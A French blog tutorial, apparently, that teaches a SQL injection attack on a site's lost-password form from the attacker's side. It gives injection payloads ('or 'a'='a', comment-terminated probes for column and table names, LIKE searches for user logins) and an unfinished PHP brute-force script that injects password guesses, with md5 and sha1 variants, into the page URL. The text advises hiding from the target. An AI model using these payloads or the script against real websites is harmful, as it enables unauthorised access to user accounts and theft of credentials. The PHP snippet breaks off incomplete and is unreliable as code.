Injection SQL, vous dites ?

L'injection SQL est une faille de sécurité couramment utilisée par les pirates car de nombreux développeurs web ne sont pas conscients des possibilités de manipulation des leurs requêtes SQL, et supposent, malheureusement, que les requêtes SQL sont des commandes sûres.

Le principe ?

Envoyer, en utilisant les formulaires à disposition des utilisateurs du site, des commandes SQL manipulées au serveur.

Au commencement...

Nous allons utiliser la page d'oubli du mot-de-passe pour attaquer un site.

Sur cette page, il n'y a qu'un champ de formulaire qui demande l'email de l'utilisateur. Une fois le formulaire envoyé, le script cherche dans la base de donnée l'email en question et s'il est trouvé, change le mot-de-passe et l'envoie par email.

L'adresse de la page est http://example.com/lostpassword.php.

Pour cherche l'email on suppose que la requête suivante

SELECT champs FROM table WHERE champ = '$email';

Ici $email est le contenu du champs email entré par l'utilisateur. L'attaquant ne connaît pas encore le nom de la table, ni le nom des champs de cette table mais il peut déjà deviner leur nature. Par exemple un champs email sera probablement de type varchar.

En utilisant notre formulaire nous entrons hack @ test.com'. Notez l'apostrophe à la fin de l'adresse. La requête devient donc

SELECT champs FROM table WHERE champ = 'hack @ test.com'';

Normalement il va y avoir une erreur du script à cause des deux apostrophes à la fin de la requête SQL. Plusieurs cas sont possibles :

  1. Le script renvoie un message d'erreur disant que l'utilisateur n'existe pas. Faut changer de site. Les envois par formulaire sont validés.
  2. Le script affiche l'erreur SQL par défaut : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''test @ hack.com''' at line...
  3. Le meilleure des cas le webmaster affiche la requête SQL dans le message d'erreur. On obtient une quantité inimaginable de renseignements.Dans ce cas vous pouvez sauter la divination de la structure de la table puisqu'elle nous est offerte.

Dans les cas 2 et 3, on sait à présent que le script ne nettoie pas les entrées des utilisateurs et peut-être utilisé pour attaquer le site.

Comme les données que nos envoyons sont dans la partie WHERE de la requête SQL, nous allons essayer de modifier la requête pour qu'elle soit toujours vraie. En entrant gloups' or 'a'='a notre requête devient :

SELECT champs FROM table WHERE champ = 'gloups' or 'a'='a'

Le WHERE est toujours vrai et tous les enregistrements des utilisateurs sont donc retournés par la requête. L'email de changement de mot-de-passe est envoyé au premier enregistrement de la table utilisateurs. C'est souvent l'administrateur du site.

Là en recevant le mail ça devrait lui mettre la puce à l'oreille qu'il se passe quelque chose mais souvent il ne va s'inquiéter outre mesure.

La page affiche un cordial remerciement du genre "un email a été envoyé à admin @ example.com".

A présent nous ne connaissons presque rien de la structure de la table mais nous savons que nous pouvons manipuler la requêtes et obtenir ses résultats:

  • un email a été envoyé à xxx @ example.com
  • l'utilisateur n'existe pas
  • Erreur du serveur

Les deux premières réponses sont des réponses à des requêtes construites sans erreurs, la troisième nous signale une erreur. C'est cette distinction qui nous permettra de deviner la structure de la table.

Divination et Structure de la table

Nous allons essayer de deviner quelques noms de champs. On peut déjà penser qu'un champ (e)mail, id ou userid et password seront présents. Ce serait pratique de pouvoir faire un

SHOW TABLE xxx;

Mais malheureusement nous ne connaissons pas encore le nom de la table et de toutes façons nous n'avons pas de moyen d'afficher la réponse d'un show table.

Nous allons donc procéder par étape en essayant de deviner chaque champs en complétant la requête qui fonctionnait précédemment par x' AND email is NULL; -- hello. Les deux tirets (-) permettent de mettre en commentaires ce qui suit, c'est assez pratique pour tuer le code SQL valide qui se trouve après le WHERE.

SELECT champs FROM table WHERE champ = 'x' AND email is NULL;-- hello

Le but est de tester l'existance d'un champs ayant pour nom email. A ce niveau il n'est pas utile que l'adresse en mail fournie soit valable. C'est pourquoi nous mettons x' comme adresse. La suite de la requête affichera un message d'erreur du serveur si le champs email n'existe pas. Unknown column 'mail' in 'where clause'.

Sinon un message du genre l'email x' AND email is NULL;-- hello n'existe pas nous avertit que le champ existe.

Si ça ne marche pas avec email on essaie mail, usermail,... Il faut un peu d'imagination, de persévérence et patience...

Ensuite on s'attaque au autres champs.

SELECT champs FROM table WHERE champ = 'x' AND username is NULL;-- hello

Finalement nous trouvons plusieurs champs :

  • userid
  • email
  • password
  • login

Il y en a probablement d'autres, un bon indice est de regarder le formulaire d'inscription d'un nouvel utilisateur s'il est disponible. Souvent les noms des champs du formulaire correspondent aux noms des champs de la base de données.

Nous avons acquis beaucoup de renseignements mais nous ne connaissons pas encore le nom de la table.

Le nom de la table : utiliser une sous-requête SQL

Nous allons utiliser cette requête

SELECT COUNT(*) FROM table;

dans notre requête manipulée ce qui nous donne cette fois

SELECT champs FROM table WHERE champ = 'x' AND 1=(SELECT COUNT(*) FROM table);-- hello

Nous procédons comme auparavant pour découvrir le nom de la table. Si table n'est pas le nom de la table alors le script provoquera une erreur.

Finalement nous découvront qu'une table s'appelant utilisateurs existe sur ce serveur. Pour être sûr que c'est bien la table utilisée dans la requête nous allons essayer de nommer un champ:

SELECT champs FROM table WHERE champ = 'x' AND utilisateurs.email IS NULL;-- hello
En cas de succès nous savons à présent que la table utilisateurs est utilisée dans cette requête.

Trouver des utilisateurs valides

Maintenant nous avons une idée partielle de la structure de la table utilisateurs, mais nous ne connaissons qu'un utilisateur de cette table, celui qui nous a été retourné avec le message un email a été envoyé à xxx @ example.com. Il ne nous reste qu'à en trouver d'autres susceptibles d'être intéressants pour plus tard.

Un bon endroit pour chercher des informations sur les utilisateurs sont les pages "contact" et "à propos de" du site internet de l'entreprise à attaquer. Souvent on y trouve des noms où des adresses email utilisées dans la base de données.

L'idée de l'attaque est d'envoyer une requête qui utilise la clause LIKE, nous permettant de faire des recherches partielles sur des noms d'utilisateur ou des adresse email.

SELECT userid, email, login, password FROM utilisateurs WHERE email = 'x' OR login LIKE '%george%'; .. hello

Le message un email a été envoyé à george.example @ example.com s'affiche : notre recherche a aboutit.

Il faut noter qu'un email a été envoyé à la cible. Comme il existe surement plusieurs George  dans l'entreprise, il faut s'approcher au mieux du login du George qui nous intéresse pour se faire le moins repérer.

Il faut pourtant affiner sa recherche jusqu'à trouver le login exact pour George.

Deviner le mot-de passe de George

Le login est trouvé, il ne reste plus qu'à découvrir le mot-de-passe.

Comme on a l'email de George on peut utiliser cette requête pour deviner en force brute son mot-de-passe:

SELECT userid, email, login, password FROM utilisateurs WHERE email = 'george.example @ example.com' AND password='XXX'; .. hello

Un petit script PHP en console, pour réaliser cette force brute:

<?php
$alpha = 'abcdefghijklmnopqrstuvwxyz';
$alpha .= '0123456789';
$alpha .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$alpha .= '~`!@#$%^&*()-_/'";:,.+=<>? ';

function check($password) {
$url = sprintf("http://example.com/lostpassword.php?email=george.example @ example.com' AND (password='%s' OR
password='%s' OR password='%s');",
$password,
md5($password),
sha1($password)
);
}
?>

a

follow me on twitter

Se connecter
© les moutons sauvages